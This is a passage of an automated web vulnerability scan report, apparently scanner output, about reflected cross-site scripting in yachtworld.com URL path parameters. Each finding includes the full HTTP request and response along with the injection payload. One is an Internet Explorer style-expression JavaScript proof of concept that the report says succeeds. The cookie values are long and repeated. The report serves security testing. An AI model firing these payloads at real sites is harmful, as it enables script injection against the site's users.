cean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:03:56 GMT Server: Apache Cache-Control: private If-Modified-Since: Fri, 10 Dec 2010 20:05:25 GMT Content-Language: en-US Set-Cookie: VIEWED_BOATS_STORE=2293873%5B%25%5D32%27+Regulator+32FS+Center+Console%5B%25%5DUSD%26nbsp%3B219%2C000%5B%25%5DBrick%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F9%2F3%2F8%2F2293873_1_mini.jpg%3F1292001735000%5B%25%5D%2Fboats%2F2010%2FRegulator-32FS-Center-Console-2293873%2FBrick%2FNJ%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; path=/; expires=Fri, 27-Jan-2012 20:03:55 GMT Set-Cookie: VIEWED_BOATS_STORE=2293873%5B%25%5D32%27+Regulator+32FS+Center+Console%5B%25%5DUSD%26nbsp%3B219%2C000%5B%25%5DBrick%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F9%2F3%2F8%2F2293873_1_mini.jpg%3F1292001735000%5B%25%5D%2Fboats%2F2010%2FRegulator-32FS-Center-Console-2293873%2FBrick%2FNJ%2FUnited-States%7B*%7D2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; domain=www.boats.com; path=/; expires=Thu, 01-Dec-1994 16:00:00 GMT Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 2 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 5aa93"><a>fd3d7efb257 was submitted in the REST URL parameter 2. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Request
GET /boats/Power5aa93"><a>fd3d7efb257/1 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response (redirected)
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:57:44 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8dec9"style%3d"x%3aexpression(alert(1))"86969decf0f was submitted in the REST URL parameter 4. This input was echoed as 8dec9"style="x:expression(alert(1))"86969decf0f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses a dynamically evaluated expression with a style attribute to introduce arbirary JavaScript into the document. Note that this technique is specific to Internet Explorer, and may not work on other browsers.
Request
GET /boats/Power/Bowrider/18dec9"style%3d"x%3aexpression(alert(1))"86969decf0f HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: JSESSIONID=4B0B0F72E37A07E93F136CA779786D04.boapp05; __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A30PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20s_sq%3D%3B; boats_temp_info=lf:ywlf; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=4318294598094503882; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; boats_session_info=session_uom:126:locale_currency_id:100; s_pers=%20s_nr%3D1296157124506%7C1298749124506%3B%20s_lv%3D1296157124508%7C1390765124508%3B%20s_lv_s%3DFirst%2520Visit%7C1296158924508%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=20819632.1753731474.1296155835.1296155835.1296155835.1; __utmc=20819632; __utmb=20819632.27.10.1296155835;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 21:12:28 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 445db"><a>5170e3f155d was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/Power/Bowrider/1445db"><a>5170e3f155d HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 20:00:16 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b0bb7"><a>2f954481696 was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
This behaviour demonstrates that it is possible to inject new HTML tags into the returned document. An attempt was made to identify a full proof-of-concept attack for injecting arbitrary JavaScript but this was not successful. You should manually examine the application's behaviour and attempt to identify any unusual input validation or other obstacles that may be in place.
Request
GET /boats/Power/Center+Console/1b0bb7"><a>2f954481696 HTTP/1.1 Host: www.yachtworld.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Cookie: __utmz=1.1296155952.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_sess=%20s_cc%3Dtrue%3B%20s_evar22%3D2%253A15PM%3B%20s_evar23%3DThursday%3B%20s_evar24%3DWeekday%3B%20ev4%3Dno%2520search%2520phrase%2520entered%3B%20ev5%3Dregulator%3B%20ev6%3Dused%3B%20ev7%3Dno%2520search%2520phrase%2520entered%3B%20ev8%3D24%2527-32%2527%3B%20ev9%3D%253E2004%3B%20ev10%3Dno%2520search%2520phrase%2520entered%3B%20ev11%3Dno%2520search%2520phrase%2520entered%3B%20ev12%3Dno%2520search%2520phrase%2520entered%3B%20ev13%3Dno%2520search%2520phrase%2520entered%3B%20ev14%3Dno%2520search%2520phrase%2520entered%3B%20ev15%3Dno%2520search%2520phrase%2520entered%3B%20ev16%3Dno%2520search%2520phrase%2520entered%3B%20ev17%3Dunited%2520states%3B%20ev18%3Dno%2520search%2520phrase%2520entered%3B%20s_sq%3D%3B; savedLabel0=24-32%20ft,regulator,Used,2004; yw_c_id=5778232892790151794; savedLabel1=24-32%20ft%2Cregulator%2C%09Used%2C2004%2C0%20US%20Dollars%2CUnited%20States; latestSavedSearches=1_0_; savedSearch1=cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26searchtype%3Dadvancedsearch%26Ntk%3DboatsEN%26Ntt%3D%26is%3Dfalse%26man%3Dregulator%26hmid%3D0%26ftid%3D0%26enid%3D0%26fromLength%3D24%26toLength%3D32%26luom%3D126%26fromYear%3D2004%26toYear%3D%26fromPrice%3D0%26toPrice%3D%26currencyid%3D100%26city%3D%26rid%3D%26cint%3D100%26pbsint%3D%26boatsAddedSelected%3D-1; VIEWED_BOATS_STORE=2262662%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B119%2C000%5B%25%5DSomers+Point%2C+NJ%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F2%2F6%2F2262662_1_mini.jpg%3F1284487523000%5B%25%5D%2Fboats%2F2006%2FRegulator-32-Forward-Seating-2262662%2FSomers-Point%2FNJ%2FUnited-States%7B*%7D2237772%5B%25%5D32%27+Regulator+32+Forward+Seating%5B%25%5DUSD%26nbsp%3B112%2C995%5B%25%5DParkton%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F3%2F7%2F7%2F2237772_17_mini.jpg%3F1280883217000%5B%25%5D%2Fboats%2F2005%2FRegulator-32-Forward-Seating-2237772%2FParkton%2FMD%2FUnited-States%7B*%7D2194614%5B%25%5D32%27+Regulator+32+CC+4+STROKE+250+YAMAHAS%5B%25%5DUSD%26nbsp%3B119%2C900%5B%25%5DOcean+City%2C+MD%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F1%2F9%2F4%2F6%2F2194614_18_mini.jpg%3F1280883629000%5B%25%5D%2Fboats%2F2007%2FRegulator-32-CC-4-STROKE-250-YAMAHAS-2194614%2FOcean-City%2FMD%2FUnited-States%7B*%7D2266476%5B%25%5D32%27+32+Regulator+WITH+TRAILER+**REDUCED**%5B%25%5DUSD%26nbsp%3B108%2C000%5B%25%5DDestin%2C+FL%5B%25%5Dhttp%3A%2F%2Fnewimages.yachtworld.com%2F%2F2%2F2%2F6%2F6%2F4%2F2266476_1_mini.jpg%3F1285261228000%5B%25%5D%2Fboats%2F2006%2F32-Regulator-WITH-TRAILER-**REDUCED**-2266476%2FDestin%2FFL%2FUnited-States; savedSearch0=man%3Dregulator%26is%3Dfalse%26type%3D%26luom%3D126%26fromLength%3D24%26toLength%3D32%26fromYear%3D2004%26toYear%3D%26pricderange%3DSelect%2520Price%2520Range%26Ntt%3D%26fromPrice%3D0%26toPrice%3D%26searchtype%3Dhomepage%26cit%3Dtrue%26slim%3Dquick%26ybw%3D%26sm%3D3%26Ntk%3DboatsEN%26currencyid%3D100; s_pers=%20s_nr%3D1296156328837%7C1298748328837%3B%20s_lv%3D1296156328839%7C1390764328839%3B%20s_lv_s%3DFirst%2520Visit%7C1296158128839%3B; s_vi=[CS]v1|26A0E25385162B05-600001A6003F61D3[CE]; yw_locale2=en_US; __utma=1.2048642607.1296155952.1296155952.1296155952.1; __utmc=1; __utmb=1.26.10.1296155952;
Response
HTTP/1.0 200 OK Date: Thu, 27 Jan 2011 19:59:44 GMT Server: Apache Cache-Control: private Content-Language: en-US Vary: Accept-Encoding,User-Agent P3P: policyref="/w3c/p3p.xml", CP="CAO DSP COR CURa ADMa DEVa TAIa PSDa CONi OUR BUS IND ONL UNI PUR FIN COM NAV INT STA PRE LOC" Connection: close Content-Type: text/html; charset=utf-8
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
The value of REST URL parameter 4 is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 65249"><a>ad6efc06b7b was submitted in the REST URL parameter 4. This input was echoed unmodified in the application's response.
